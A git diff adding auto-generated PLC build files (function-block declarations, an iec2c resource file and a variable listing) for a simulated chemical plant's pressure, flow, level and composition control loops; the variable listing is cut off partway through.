__DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; 